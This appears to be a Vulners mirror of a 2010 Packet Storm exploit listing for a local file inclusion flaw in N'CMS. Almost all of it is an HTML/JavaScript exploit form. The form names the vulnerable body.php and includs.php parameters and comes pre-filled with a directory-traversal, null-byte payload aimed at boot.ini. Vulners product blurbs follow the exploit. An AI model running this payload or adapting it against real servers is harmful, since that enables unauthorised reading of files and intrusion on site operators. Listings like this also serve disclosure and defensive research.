Lucene search
K

N'CMS Local File Inclusion

🗓️ 05 Apr 2010 00:00:00Reported by ItSecTeamType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 18 Views

N'CMS Local File Inclusion Vulnerability in N'CMS Updated 2010-02-2

Code
`<html>  
<head>  
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">  
<title>#####coded by ahmadbady#####</title>  
  
<script language="JavaScript">  
  
//===========================================================================  
//( #Topic : N'CMS Updated 2010-02-24  
//( #Bug type : local file include  
//( #Download : http://sourceforge.net/projects/n-cms/files/N-CMS%20Equipe/n-cms-equipe-V1.1C-Debug.zip/download  
//( #Advisory :   
//===========================================================================  
//( #Author : ItSecTeam  
//( #Email : [email protected] #  
//( #Website: http://www.itsecteam.com #  
//( #Forum : http://forum.ITSecTeam.com #  
//---------------------------------------------------------------------  
  
  
var variable1 ="?page="  
var variable2 ="?tData[name]="  
function it(){  
if (xpl.file.value=="includs.php"){  
variable1 = variable2;  
  
}  
xpl.action= xpl.victim.value+xpl.path.value+xpl.file.value+variable1+xpl.file0.value;xpl.submit();   
}  
</script>  
  
</head>  
  
<body bgcolor="#FFFFFF">  
  
<p align="left"><font color="#0000FF">N'CMS & N'Games local file include   
Vulnerability</font></p>  
  
<p align="left"><font color="#FF0000">vul1 file:/path/template/theme1/content/body.php</font></p>  
<p align="left"><font color="#FF0000">vul2 file:/path/template/theme1/content/includs.php</font></p>  
<p align="left"><font color="#0000FF">-----------------------------------</font></p>  
<form method="post" name="xpl" onSubmit="it();">  
<p align="left">  
<font   
size="2" face="Tahoma">  
victim:  
<input type="text" name="victim" size="20";" style="color: #FFFFFF; background-color: #000000" value="http://127.0.0.1">   
path:  
<input type="text" name="path" size="20";" style="color: #FFFFFF; background-color: #000000" value="/path/template/theme1/content/">   
file:  
<input type="text" name="file" size="20";" style="color: #FFFFFF; background-color: #000000">&nbsp;&nbsp;   
lfi code:&nbsp;  
<input type="text" name="file0" size="20";" style="color: #FFFFFF; background-color: #000000" value="..%2F..%2F..%2F..%2F..%2Fboot.ini%00"></p>  
</p>  
<center>  
  
</p>  
<p><input type="submit" value="GO" name="B1" style="float: left"><input type="reset"   
value="reset" name="B2" style="float: left"></p>  
</form>  
<p><br>  
&nbsp;</p>  
</center>  
</body>  
  
</html>  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation